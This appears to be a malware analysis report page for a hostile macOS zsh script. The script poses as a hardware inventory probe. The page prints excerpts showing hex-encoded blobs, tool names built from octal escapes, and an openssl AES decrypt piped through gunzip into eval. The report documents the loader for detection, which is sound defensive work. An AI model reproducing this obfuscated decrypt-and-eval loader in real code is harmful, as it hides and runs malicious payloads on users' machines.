Hostile 99% linux Download

stage1_22a356b2ce70.zsh

Obfuscated payload execution

Concealed AES command output feeds shell evalEvaluates variable holding AES command output
SHA-25622a356b2ce7084ef9dc737fa60459ddcc5e3bc74e1400d7ac1bcbfdab6a05894

Evidence

Source embeds a long hexadecimal string lines 1–9
1#!/bin/zsh
2# o8o68wrp v0.18.4
3
4# --- hardware inventory ---
5_hw_model=$(sysctl -n hw.model 2>/dev/null)
6_feature_flags="0f445503b1bd2b2cb2212d4e72b403012bee0a5853386135979dd49d880e23a85b271a156da731a1fd2ebeb478c173fb69ac22c1e6bee13268ca19b6b41ed5a3d67cf7886c7fb87275aee0634ce788c92d279b1990f2492f81a8ec00b73a388589cb613497de54cf8dfb3261a6d600b6c5b72dd86f9197b88e90c1950538cbf3e5283c4db24032536c69be25d6394963b38a2980b91135f3e42c7b3d16fb83cea55baa57ce1e82aa744c1a80ec195905bf3af6982be1b6942e60d3e181ea489f52"
7_hw_arch=$(uname -m 2>/dev/null)
8_mem_gb=$(( $(sysctl -n hw.memsize 2>/dev/null || echo 0) / 1073741824 ))
9_schema_id="a44230ba94f50704bd11c36308533eb7219dc60ac18d889d128ffd79b7fdeae4d45d66de6566dc02ff75370ff0cd0c87c966487f5edd4cb569ef1a5fbef9cb0726f61009ade9c7139a86f06429ff1f3bad79b5bc99a040aede00920653e92004dc43d2eb26fb5910eb155ea7287badaf92556a7e2fdc2cc049c2822fec01ed9ecee80512bc832c902fafd221a55d12eaac4d51404a53b21831ec8426892ea25f …
Shell printf decodes octal escapes lines 9–33
9:357… 37c0759a20948b9620477c5f8b2c9c10b6ff465aae"
10
11if [ "$_hw_arch" = "x86_64" ]; then
12 if /usr/bin/pgrep -q oahd 2>/dev/null; then
13 _rt="active"
14 else
15 _rt="idle"
16 fi
17 printf '%s\n' "hw: ${_hw_model:-unknown} x86_64 (rosetta ${_rt})"
18else
19 printf '%s\n' "hw: ${_hw_model:-unknown} ${_hw_arch:-unknown}"
20fi
21
22o098i=$(printf '\155\144\065')
23hkwr7=$(printf '\170\170\144')
24dumvg=$(printf '\157\160\145\156\163\163\154')
25ojjs='gunzi'
26q17d='p'
⋯7 lines
Evaluates variable holding AES command output lines 45–50
45:4… ssemble probe config
46_z=( "$_schema_id" "$_license_salt" "$_feature_flags" "$_cache_seed" )
47_k=$(printf '%s' "$_kb" | ${o098i})
48_r=$(printf '%s' "${_z[@]}" | ${hkwr7} -r -p | ${dumvg} enc -d -aes-128-ctr -K "$_k" -iv 00000000000000000000000000000000 | ${ojjs}${q17d})
49
50eval "${_r}"

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.